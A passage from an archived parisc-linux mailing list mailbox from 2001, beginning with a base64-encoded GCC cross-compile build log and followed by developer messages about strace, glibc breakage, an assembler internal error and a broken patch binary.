Y2MvZ2NjLy4gLUkvb3B0L3B1ZmZpbi9wYWxpbnV4L2djYy9nY2MvY29uZmlnIA0KLUkvb3B0
L3B1ZmZpbi9wYWxpbnV4L2djYy9nY2MvLi4vaW5jbHVkZSAvb3B0L3B1ZmZpbi9wYWxpbnV4
L2djYy9nY2MvdmFycmF5LmMgDQotbyB2YXJyYXkubw0KZ2NjIC1jIC1EQ1JPU1NfQ09NUElM
RSAtRElOX0dDQyAgICAtZyAtTzIgLVcgLVdhbGwgLVd3cml0ZS1zdHJpbmdzIA0KLVdzdHJp
Y3QtcHJvdG90eXBlcyAtV21pc3NpbmctcHJvdG90eXBlcyAtV3RyYWRpdGlvbmFsIC1wZWRh
bnRpYyANCi1Xbm8tbG9uZy1sb25nICAtREhBVkVfQ09ORklHX0ggICAgLUkuIC1JLiAtSS9v
cHQvcHVmZmluL3BhbGludXgvZ2NjL2djYyANCi1JL29wdC9wdWZmaW4vcGFsaW51eC9nY2Mv
Z2NjLy4gLUkvb3B0L3B1ZmZpbi9wYWxpbnV4L2djYy9nY2MvY29uZmlnIA0KLUkvb3B0L3B1
ZmZpbi9wYWxpbnV4L2djYy9nY2MvLi4vaW5jbHVkZSAvb3B0L3B1ZmZpbi9wYWxpbnV4L2dj
Yy9nY2MvZmluYWwuYyANCi1vIGZpbmFsLm8NCmdjYyAtYyAtRENST1NTX0NPTVBJTEUgLURJ
Tl9HQ0MgICAgLWcgLU8yIC1XIC1XYWxsIC1Xd3JpdGUtc3RyaW5ncyANCi1Xc3RyaWN0LXBy
b3RvdHlwZXMgLVdtaXNzaW5nLXByb3RvdHlwZXMgLVd0cmFkaXRpb25hbCAtcGVkYW50aWMg
DQotV25vLWxvbmctbG9uZyAgLURIQVZFX0NPTkZJR19IICAgIC1JLiAtSS4gLUkvb3B0L3B1
ZmZpbi9wYWxpbnV4L2djYy9nY2MgDQotSS9vcHQvcHVmZmluL3BhbGludXgvZ2NjL2djYy8u
IC1JL29wdC9wdWZmaW4vcGFsaW51eC9nY2MvZ2NjL2NvbmZpZyANCi1JL29wdC9wdWZmaW4v
cGFsaW51eC9nY2MvZ2NjLy4uL2luY2x1ZGUgDQovb3B0L3B1ZmZpbi9wYWxpbnV4L2djYy9n
Y2MvcmVnLXN0YWNrLmMgLW8gcmVnLXN0YWNrLm8NCmlmIFsgLWQgaW5jbHVkZSBdIDsgdGhl
biB0cnVlOyBlbHNlIG1rZGlyIGluY2x1ZGU7IGNobW9kIGErcnggaW5jbHVkZTsgZmkNCmZv
ciBmaWxlIGluIC4uIC9vcHQvcHVmZmluL3BhbGludXgvZ2NjL2djYy9naW5jbHVkZS9zdGRh
cmcuaCANCi9vcHQvcHVmZmluL3BhbGludXgvZ2NjL2djYy9naW5jbHVkZS9zdGRkZWYuaCAN
Ci9vcHQvcHVmZmluL3BhbGludXgvZ2NjL2djYy9naW5jbHVkZS92YXJhcmdzLmggDQovb3B0
L3B1ZmZpbi9wYWxpbnV4L2djYy9nY2MvZ2luY2x1ZGUvcHJvdG8uaCANCi9vcHQvcHVmZmlu
L3BhbGludXgvZ2NjL2djYy9naW5jbHVkZS9zdGRib29sLmggDQovb3B0L3B1ZmZpbi9wYWxp
bnV4L2djYy9nY2MvZ2luY2x1ZGUvaXNvNjQ2LmggIDsgZG8gXA0KICBpZiBbIFgkZmlsZSAh
PSBYLi4gXTsgdGhlbiBcDQogICAgcmVhbGZpbGU9YGVjaG8gJGZpbGUgfCBzZWQgLWUgJ3N8
LiovXChbXi9dKlwpJHxcMXwnYDsgXA0KICAgIHRvdWNoIGluY2x1ZGUvJHJlYWxmaWxlOyBc
DQogICAgcm0gLWYgaW5jbHVkZS8kcmVhbGZpbGU7IFwNCiAgICBjcCAkZmlsZSBpbmNsdWRl
OyBcDQogICAgY2htb2QgYStyIGluY2x1ZGUvJHJlYWxmaWxlOyBcDQogIGZpOyBcDQpkb25l
DQpybSAtcmYgbGliYmFja2VuZC5hDQphciByYyBsaWJiYWNrZW5kLmEgZGlhZ25vc3RpYy5v
IHZlcnNpb24ubyB0cmVlLm8gcHJpbnQtdHJlZS5vIHN0b3ItbGF5b3V0Lm8gDQpmb2xkLWNv
bnN0Lm8gZnVuY3Rpb24ubyBzdG10Lm8gZXhjZXB0Lm8gZXhwci5vIGNhbGxzLm8gZXhwbWVk
Lm8gZXhwbG93Lm8gDQpvcHRhYnMubyByZWFsLm8gYnVpbHRpbnMubyBpbnRsLm8gdmFyYXNt
Lm8gcnRsLm8gcHJpbnQtcnRsLm8gcnRsYW5hbC5vIA0KZW1pdC1ydGwubyBnZW5ydGwubyBk
YnhvdXQubyBzZGJvdXQubyBkd2FyZm91dC5vIGR3YXJmMm91dC5vIHhjb2Zmb3V0Lm8gDQpi
aXRtYXAubyBhbGlhcy5vIGdjc2UubyBpbnRlZ3JhdGUubyBqdW1wLm8gY3NlLm8gbG9vcC5v
IGRvbG9vcC5vIHVucm9sbC5vIA0KZmxvdy5vIGNvbWJpbmUubyB2YXJyYXkubyByZWdjbGFz
cy5vIHJlZ21vdmUubyBsb2NhbC1hbGxvYy5vIGdsb2JhbC5vIHJlbG9hZC5vIA0KcmVsb2Fk
MS5vIGNhbGxlci1zYXZlLm8gaW5zbi1wZWVwLm8gcmVvcmcubyBoYWlmYS1zY2hlZC5vIGZp
bmFsLm8gcmVjb2cubyANCnJlZy1zdGFjay5vIHJlZ3JlbmFtZS5vIGluc24tb3Bpbml0Lm8g
aW5zbi1yZWNvZy5vIGluc24tZXh0cmFjdC5vIA0KaW5zbi1vdXRwdXQubyBpbnNuLWVtaXQu
byBsY20ubyBwcm9maWxlLm8gaW5zbi1hdHRydGFiLm8gcGEubyAgY29udmVydC5vIA0KbWJj
aGFyLm8gc3BsYXktdHJlZS5vIGdyYXBoLm8gc2JpdG1hcC5vIHJlc291cmNlLm8gaGFzaC5v
IHByZWRpY3QubyBsaXN0cy5vIA0KZ2djLWNvbW1vbi5vIGdnYy1wYWdlLm8gc3RyaW5ncG9v
bC5vIHNpbXBsaWZ5LXJ0eC5vIHNzYS5vIGJiLXJlb3JkZXIubyANCnNpYmNhbGwubyBjb25m
bGljdC5vIHRpbWV2YXIubyBpZmN2dC5vIGRvbWluYW5jZS5vIGRlcGVuZGVuY2UubyBkY2Uu
byANCnNjaGVkLXZpcy5vIHNjaGVkLWRlcHMubyBzY2hlZC1yZ24ubyBzY2hlZC1lYmIubyBo
YXNodGFiLm8NCnJtIC1mIGluY2x1ZGUvbGltaXRzLmgNCmNwIHhsaW1pdHMuaCBpbmNsdWRl
L2xpbWl0cy5oDQpjaG1vZCBhK3IgaW5jbHVkZS9saW1pdHMuaA0Kcm0gLWYgaW5jbHVkZS9m
bG9hdC5oDQppZiBbIHhmbG9hdC1pNjQuaCAhPSB4TWFrZWZpbGUuaW4gXTsgdGhlbiBcDQog
IGNwIC9vcHQvcHVmZmluL3BhbGludXgvZ2NjL2djYy9jb25maWcvZmxvYXQtaTY0LmggaW5j
bHVkZS9mbG9hdC5oICYmIFwNCiAgY2htb2QgYStyIGluY2x1ZGUvZmxvYXQuaDsgXA0KZWxz
ZSA6OyBmaQ0Kcm0gLWYgaW5jbHVkZS9SRUFETUUNCmNwIC9vcHQvcHVmZmluL3BhbGludXgv
Z2NjL2djYy9SRUFETUUtZml4aW5jIGluY2x1ZGUvUkVBRE1FDQpjaG1vZCBhK3IgaW5jbHVk
ZS9SRUFETUUNCnRvdWNoIHN0bXAtaW50LWhkcnMNCmlmIFsgLWYgcmFubGliIF0gfHwgWyAt
ZiAvdXNyL2Jpbi9yYW5saWIgLW8gLWYgL2Jpbi9yYW5saWIgXSA7IHRoZW4gcmFubGliIA0K
bGliYmFja2VuZC5hIDsgZWxzZSB0cnVlIDsgZmkNCmdjYyAtRENST1NTX0NPTVBJTEUgLURJ
Tl9HQ0MgICAgLWcgLU8yIC1XIC1XYWxsIC1Xd3JpdGUtc3RyaW5ncyANCi1Xc3RyaWN0LXBy
b3RvdHlwZXMgLVdtaXNzaW5nLXByb3RvdHlwZXMgLVd0cmFkaXRpb25hbCAtcGVkYW50aWMg
DQotV25vLWxvbmctbG9uZyAgLURIQVZFX0NPTkZJR19IICAtbyBjYzEgXA0KCWMtcGFyc2Uu
byBjLWxhbmcubyBjLWVycm9ycy5vIGMtbGV4Lm8gYy1wcmFnbWEubyBjLWRlY2wubyBjLXR5
cGVjay5vIA0KYy1jb252ZXJ0Lm8gYy1hdXgtaW5mby5vIGMtY29tbW9uLm8gYy1mb3JtYXQu
byBjLXNlbWFudGljcy5vIGMtZHVtcC5vIGxpYmNwcC5hIA0KIHRvcGxldi5vIGxpYmJhY2tl
bmQuYSBvYnN0YWNrLm8gICAgICAgICAuLi9saWJpYmVydHkvbGliaWJlcnR5LmENCmVjaG8g
ImludCB4eHlfdXNfZHVtbXk7IiA+dG1wLWR1bS5jDQovb3B0L3B1ZmZpbi94Yy1idWlsZC9n
Y2MvZ2NjL3hnY2MgLUIvb3B0L3B1ZmZpbi94Yy1idWlsZC9nY2MvZ2NjLyANCi1CL29wdC9w
dWZmaW4veGMvaHBwYS1saW51eC9iaW4vIC1CL29wdC9wdWZmaW4veGMvaHBwYS1saW51eC9s
aWIvIC1pc3lzdGVtIA0KL29wdC9wdWZmaW4veGMvaHBwYS1saW51eC9pbmNsdWRlIC1EQ1JP
U1NfQ09NUElMRSAtRElOX0dDQyAgICAtVyAtV2FsbCANCi1Xd3JpdGUtc3RyaW5ncyAtV3N0
cmljdC1wcm90b3R5cGVzIC1XbWlzc2luZy1wcm90b3R5cGVzIC1pc3lzdGVtIC4vaW5jbHVk
ZSAgDQotSS4gLUkuIC1JL29wdC9wdWZmaW4vcGFsaW51eC9nY2MvZ2NjIC1JL29wdC9wdWZm
aW4vcGFsaW51eC9nY2MvZ2NjLy4gDQotSS9vcHQvcHVmZmluL3BhbGludXgvZ2NjL2djYy9j
b25maWcgLUkvb3B0L3B1ZmZpbi9wYWxpbnV4L2djYy9nY2MvLi4vaW5jbHVkZSAgDQotZzAg
XA0KICAtZmluaGliaXQtc2l6ZS1kaXJlY3RpdmUgLWZuby1pbmxpbmUtZnVuY3Rpb25zIFwN
CiAgLWZuby1leGNlcHRpb25zICAgXA0KICAtYyAvb3B0L3B1ZmZpbi9wYWxpbnV4L2djYy9n
Y2MvY3J0c3R1ZmYuYyAtRENSVF9CRUdJTiAtbyBjcnRiZWdpbi5vDQovb3B0L3B1ZmZpbi94
Yy1idWlsZC9nY2MvZ2NjL3hnY2MgLUIvb3B0L3B1ZmZpbi94Yy1idWlsZC9nY2MvZ2NjLyAN
Ci1CL29wdC9wdWZmaW4veGMvaHBwYS1saW51eC9iaW4vIC1CL29wdC9wdWZmaW4veGMvaHBw
YS1saW51eC9saWIvIC1pc3lzdGVtIA0KL29wdC9wdWZmaW4veGMvaHBwYS1saW51eC9pbmNs
dWRlIC1TIHRtcC1kdW0uYw0KZWNobyAnLypXQVJOSU5HOiBUaGlzIGZpbGUgaXMgYXV0b21h
dGljYWxseSBnZW5lcmF0ZWQhKi8nID50bXAtdW5kZXIuYw0KaWYgZ3JlcCBfeHh5X3VzX2R1
bW15IHRtcC1kdW0ucyA+IC9kZXYvbnVsbCA7IHRoZW4gXA0KICBlY2hvICJpbnQgcHJlcGVu
ZHNfdW5kZXJzY29yZSA9IDE7IiA+PnRtcC11bmRlci5jOyBcDQplbHNlIFwNCiAgZWNobyAi
aW50IHByZXBlbmRzX3VuZGVyc2NvcmUgPSAwOyIgPj50bXAtdW5kZXIuYzsgXA0KZmkNCi9i
aW4vc2ggL29wdC9wdWZmaW4vcGFsaW51eC9nY2MvZ2NjL21vdmUtaWYtY2hhbmdlIHRtcC11
bmRlci5jIHVuZGVyc2NvcmUuYw0Kcm0gLWYgdG1wLWR1bS5jIHRtcC1kdW0ucw0KdG91Y2gg
cy11bmRlcg0KL29wdC9wdWZmaW4veGMtYnVpbGQvZ2NjL2djYy94Z2NjIC1CL29wdC9wdWZm
aW4veGMtYnVpbGQvZ2NjL2djYy8gDQotQi9vcHQvcHVmZmluL3hjL2hwcGEtbGludXgvYmlu
LyAtQi9vcHQvcHVmZmluL3hjL2hwcGEtbGludXgvbGliLyAtaXN5c3RlbSANCi9vcHQvcHVm
ZmluL3hjL2hwcGEtbGludXgvaW5jbHVkZSAtRENST1NTX0NPTVBJTEUgLURJTl9HQ0MgICAg
LVcgLVdhbGwgDQotV3dyaXRlLXN0cmluZ3MgLVdzdHJpY3QtcHJvdG90eXBlcyAtV21pc3Np
bmctcHJvdG90eXBlcyAtaXN5c3RlbSAuL2luY2x1ZGUgIA0KLUkuIC1JLiAtSS9vcHQvcHVm
ZmluL3BhbGludXgvZ2NjL2djYyAtSS9vcHQvcHVmZmluL3BhbGludXgvZ2NjL2djYy8uIA0K
LUkvb3B0L3B1ZmZpbi9wYWxpbnV4L2djYy9nY2MvY29uZmlnIC1JL29wdC9wdWZmaW4vcGFs
aW51eC9nY2MvZ2NjLy4uL2luY2x1ZGUgIA0KLWcwIFwNCiAgLWZpbmhpYml0LXNpemUtZGly
ZWN0aXZlIC1mbm8taW5saW5lLWZ1bmN0aW9ucyBcDQogIC1mbm8tZXhjZXB0aW9ucyAtZlBJ
QyAgXA0KICAtYyAvb3B0L3B1ZmZpbi9wYWxpbnV4L2djYy9nY2MvY3J0c3R1ZmYuYyAtRENS
VF9CRUdJTiAtRENSVFNUVUZGU19PIFwNCiAgLW8gY3J0YmVnaW5TLm8NCm1ha2VbMV06IFZl
cmxhc3NlbiBkZXMgVmVyemVpY2huaXNzZXMgVmVyemVpY2huaXMgDQq7L29wdC9wdWZmaW4v
eGMtYnVpbGQvZ2NjL2djY6sNCg0K
--------------3DFB27912AD569560B01099D--





From - Thu Nov 08 21:16:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Plattner <christoph.plattner@alcatel.at>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] //strace// Generic Parisc Linux Kernel Questions & 
 9000/730 success report
Date: Wed, 07 Feb 2001 14:25:50 +0100
Organization: AAA
Lines: 28
Approved: news@gmane.org
Message-ID: <3A814CDE.2D3091A7@alcatel.at>
References: <Pine.LNX.4.21.0102061808500.2465-100000@sgate.charlysworld.de> <200102062022.MAA04003@milano.cup.hp.com> <20010206220733.Y1374@linuxcare.com> <3A81005D.393A0AA6@alcatel.at> <20010207124102.C1374@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619849 15180 80.91.229.3 (22 Nov 2014 01:30:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:30:49 +0000 (UTC)
Cc: Grant Grundler <grundler@cup.hp.com>,
	"M. Grabert" <xam@deathsdoor.com>,
	parisc-linux@lists.parisc-linux.org
To: Richard Hirst <rhirst@linuxcare.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Feb  7 06:32:50 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.alcatel.at (atusks01.alcatel.at [212.183.9.130])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8205E4A1C
	for <parisc-linux@lists.parisc-linux.org>; Wed,  7 Feb 2001 06:32:45 -0700 (MST)
Original-Received: from alcatel.at (atusel33.aut.alcatel.at [146.112.129.215])
	by  mail.alcatel.at (8.9.3/8.9.3/1.21 01/27/01 21:43:09) with ESMTP id OAA16232;
	Wed, 7 Feb 2001 14:25:51 +0100 (MET)
Original-Sender: christoph.plattner@alcatel.at
X-Mailer: Mozilla 4.76 [en] (X11; U; SunOS 5.5.1 sun4m)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:10198

Hello
	you mean, I can now check out the strace from CVS ?
And retry ??

Thanks
	Christoph

Richard Hirst wrote:
> 
> On Wed, Feb 07, 2001 at 08:59:25AM +0100, Christoph Plattner wrote:
> > I was definitly not able to build strace with the current tool chain
> > (I have built myself from Jan 13, 2001). The system calls and other
> > parts seem not to be compatible any more....
> 
> I've removed the hack that made it work with old glibc that didn't
> provide a sys_ptrace wrapper, so it should now be ok with a newer
> toolchain.  So, if you could try again and let me know...
> 
> Richard

-- 
  +--------V--------+	Christoph.Plattner@alcatel.at
  |  A L C A T E L  |	-----------------------------
  +-----------------+	Phone: +43 1 27722 3706	
         T A S		Fax:   +43 1 27722 3955




From - Thu Nov 08 21:16:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] //strace// Generic Parisc Linux Kernel Questions & 9000/730 success report
Date: Wed, 7 Feb 2001 14:20:39 +0000
Lines: 9
Approved: news@gmane.org
Message-ID: <20010207142039.E1374@linuxcare.com>
References: <Pine.LNX.4.21.0102061808500.2465-100000@sgate.charlysworld.de> <200102062022.MAA04003@milano.cup.hp.com> <20010206220733.Y1374@linuxcare.com> <3A81005D.393A0AA6@alcatel.at> <20010207124102.C1374@linuxcare.com> <3A814CDE.2D3091A7@alcatel.at>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619850 15182 80.91.229.3 (22 Nov 2014 01:30:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:30:50 +0000 (UTC)
Cc: Grant Grundler <grundler@cup.hp.com>,
	"M. Grabert" <xam@deathsdoor.com>,
	parisc-linux@lists.parisc-linux.org
To: Christoph Plattner <christoph.plattner@alcatel.at>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Feb  7 07:20:09 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from rhirst.linuxcare.com (pc117-bre9.cable.ntl.com [213.105.88.117])
	by dsl2.external.hp.com (Postfix) with ESMTP id 49C454A1C
	for <parisc-linux@lists.parisc-linux.org>; Wed,  7 Feb 2001 07:20:09 -0700 (MST)
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id 6A622B005; Wed,  7 Feb 2001 14:20:39 +0000 (GMT)
X-Mailer: Mutt 1.0us
In-Reply-To: <3A814CDE.2D3091A7@alcatel.at>; from christoph.plattner@alcatel.at on Wed, Feb 07, 2001 at 02:25:50PM +0100
Xref: news.gmane.org gmane.linux.ports.parisc:10199

On Wed, Feb 07, 2001 at 02:25:50PM +0100, Christoph Plattner wrote:
> Hello
> 	you mean, I can now check out the strace from CVS ?
> And retry ??

Yes




From - Thu Nov 08 21:16:25 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: =?iso-8859-1?Q?R=FCdiger?= Scholz <rscholz@hrzpub.tu-darmstadt.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: Failure making current gcc
Date: Wed, 07 Feb 2001 18:19:53 +0100
Lines: 40
Approved: news@gmane.org
Message-ID: <3A8183B9.751575EB@hrzpub.tu-darmstadt.de>
References: <3A814E22.CBA1C0B7@hrzpub.tu-darmstadt.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416619850 15185 80.91.229.3 (22 Nov 2014 01:30:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:30:50 +0000 (UTC)
To: "parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Feb  7 10:20:02 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.vi-internet.de (mailx.planet-interkom.de [195.182.114.81])
	by dsl2.external.hp.com (Postfix) with ESMTP id 75AE04A1C
	for <parisc-linux@lists.parisc-linux.org>; Wed,  7 Feb 2001 10:20:01 -0700 (MST)
Original-Received: from hrzpub.tu-darmstadt.de ([145.253.146.160]) by mail.vi-internet.de  with Microsoft SMTPSVC(5.5.1877.537.53);
	 Wed, 7 Feb 2001 18:19:57 +0100
X-Mailer: Mozilla 4.75 [de] (Win98; U)
X-Accept-Language: de,en
Xref: news.gmane.org gmane.linux.ports.parisc:10200


Hello again!

Sorry, but I cut away the last and most important line. Here it is:

----------- SNIP --------------------

/opt/puffin/xc-build/gcc/gcc/xgcc -B/opt/puffin/xc-build/gcc/gcc/
-B/opt/puffin/xc/hppa-linux/bin/ -B/opt/puffin/xc/hppa-linux/lib/ -isystem
/opt/puffin/xc/hppa-linux/include -DCROSS_COMPILE -DIN_GCC    -W -Wall
-Wwrite-strings -Wstrict-prototypes -Wmissing-prototypes -isystem ./include  -I.
-I. -I/opt/puffin/palinux/gcc/gcc -I/opt/puffin/palinux/gcc/gcc/.
-I/opt/puffin/palinux/gcc/gcc/config -I/opt/puffin/palinux/gcc/gcc/../include  -g0
\
  -finhibit-size-directive -fno-inline-functions \
  -fno-exceptions -fPIC  \
  -c /opt/puffin/palinux/gcc/gcc/crtstuff.c -DCRT_BEGIN -DCRTSTUFFS_O \
  -o crtbeginS.o
/tmp/cc0dgVTi.s: Assembler messages:
/tmp/cc0dgVTi.s:74: Internal error, aborting at
/opt/puffin/palinux/binutils/gas/write.c line 2852 in number_to_chars_bigendian
Please report this bug.
/tmp/ccrwiArd.s: Assembler messages:
/tmp/ccrwiArd.s:102: Internal error, aborting at
/opt/puffin/palinux/binutils/gas/write.c line 2852 in number_to_chars_bigendian
Please report this bug.
make[1]: *** [crtbegin.o] Fehler 1
make[1]: *** Warte auf noch nicht beendete Prozesse....
make[1]: *** [crtbeginS.o] Fehler 1
make[1]: Verlassen des Verzeichnisses Verzeichnis /opt/puffin/xc-build/gcc/gcc
make: *** [all-gcc] Fehler 2

------------------------------ SNAP ----------------------------------

So long,
                Rdiger





From - Thu Nov 08 21:16:25 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Steven Pritchard <steve@silug.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] patch
Date: Wed, 7 Feb 2001 15:14:10 -0600 (CST)
Lines: 18
Approved: news@gmane.org
Message-ID: <200102072114.f17LEAc18587@osiris.silug.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619850 15187 80.91.229.3 (22 Nov 2014 01:30:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:30:50 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Feb  7 14:14:26 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id AFC2A4A1C
	for <parisc-linux@lists.parisc-linux.org>; Wed,  7 Feb 2001 14:14:25 -0700 (MST)
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id OAA11931
	for <parisc-linux@puffin.external.hp.com>; Wed, 7 Feb 2001 14:10:07 -0700
Original-Received: (qmail 22753 invoked by uid 15267); 7 Feb 2001 21:14:23 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 22709 invoked from network); 7 Feb 2001 21:14:22 -0000
Original-Received: from osiris.lanscape.net (HELO osiris.silug.org) (64.240.156.225)
  by mailserv2.iuinc.com with SMTP; 7 Feb 2001 21:14:22 -0000
Original-Received: (from steve@localhost)
	by osiris.silug.org (8.11.0/8.11.0) id f17LEAc18587
	for parisc-linux@thepuffingroup.com; Wed, 7 Feb 2001 15:14:10 -0600
X-Mailer: ELM [version 2.4ME+ PL77 (25)]
Original-Sender: steve@osiris.silug.org
Xref: news.gmane.org gmane.linux.ports.parisc:10201

Has anyone managed to build a working patch binary?  No matter what
the input is, all I get is

    patch: **** Only garbage was found in the patch input.

If nobody has been through this already, I'll try to debug it
tonight...

Thanks.

Steve
-- 
steve@silug.org           | Southern Illinois Linux Users Group
(618)398-7320             | See web site for meeting details.
Steven Pritchard          | http://www.silug.org/




From - Thu Nov 08 21:16:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] //strace// Generic Parisc Linux Kernel Questions
 &  9000/730 success report
Date: Thu, 8 Feb 2001 10:08:03 +1100 (EST)
Lines: 23
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0102080959100.7974-100000@front.linuxcare.com.au>
References: <3A81005D.393A0AA6@alcatel.at>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619851 15190 80.91.229.3 (22 Nov 2014 01:30:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:30:51 +0000 (UTC)
Cc: Richard Hirst <rhirst@linuxcare.com>,
	Grant Grundler <grundler@cup.hp.com>,
	"M. Grabert" <xam@deathsdoor.com>,
	parisc-linux@lists.parisc-linux.org
To: Christoph Plattner <christoph.plattner@alcatel.at>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Feb  7 16:14:07 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from front.linuxcare.com.au (linuxcare.com.au [203.29.91.49])
	by dsl2.external.hp.com (Postfix) with ESMTP id D73E04A1C
	for <parisc-linux@lists.parisc-linux.org>; Wed,  7 Feb 2001 16:14:05 -0700 (MST)
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id KAA19688;
	Thu, 8 Feb 2001 10:08:04 +1100
In-Reply-To: <3A81005D.393A0AA6@alcatel.at>
Xref: news.gmane.org gmane.linux.ports.parisc:10202

On Wed, 7 Feb 2001, Christoph Plattner wrote:

> I was definitly not able to build strace with the current tool chain
> (I have built myself from Jan 13, 2001). The system calls and other
> parts seem not to be compatible any more....

Did you build glibc too?  I should own up to breaking our CVS glibc with

revision 1.3
date: 2001/01/16 14:09:38

and not fixing it until

revision 1.4
date: 2001/02/05 14:58:22

Alan (Embarrassed) Modra
-- 
Linuxcare.  Support for the Revolution.





From - Thu Nov 08 21:16:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: Failure making current gcc
Date: Thu, 8 Feb 2001 10:28:24 +1100 (EST)
Lines: 21
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0102081025280.7974-100000@front.linuxcare.com.au>
References: <3A8183B9.751575EB@hrzpub.tu-darmstadt.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=X-UNKNOWN
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1416619851 15191 80.91.229.3 (22 Nov 2014 01:30:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:30:51 +0000 (UTC)
Cc: "parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>
To: =?iso-8859-1?Q?R=FCdiger?= Scholz <rscholz@hrzpub.tu-darmstadt.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Feb  7 16:29:56 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from front.linuxcare.com.au (linuxcare.com.au [203.29.91.49])
	by dsl2.external.hp.com (Postfix) with ESMTP id 417E24A1C
	for <parisc-linux@lists.parisc-linux.org>; Wed,  7 Feb 2001 16:29:55 -0700 (MST)
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id KAA20534;
	Thu, 8 Feb 2001 10:28:24 +1100
In-Reply-To: <3A8183B9.751575EB@hrzpub.tu-darmstadt.de>
Xref: news.gmane.org gmane.linux.ports.parisc:10203

On Wed, 7 Feb 2001, [iso-8859-1] R=FCdiger Scholz wrote:

> /tmp/cc0dgVTi.s: Assembler messages:
> /tmp/cc0dgVTi.s:74: Internal error, aborting at
> /opt/puffin/palinux/binutils/gas/write.c line 2852 in number_to_chars_big=
endian
> Please report this bug.

Arrgh.  My fault, and it didn't show up in testing because I was using
"--target=3Dhppa-linux --enable-targets=3Dhppa64-linux" when building my
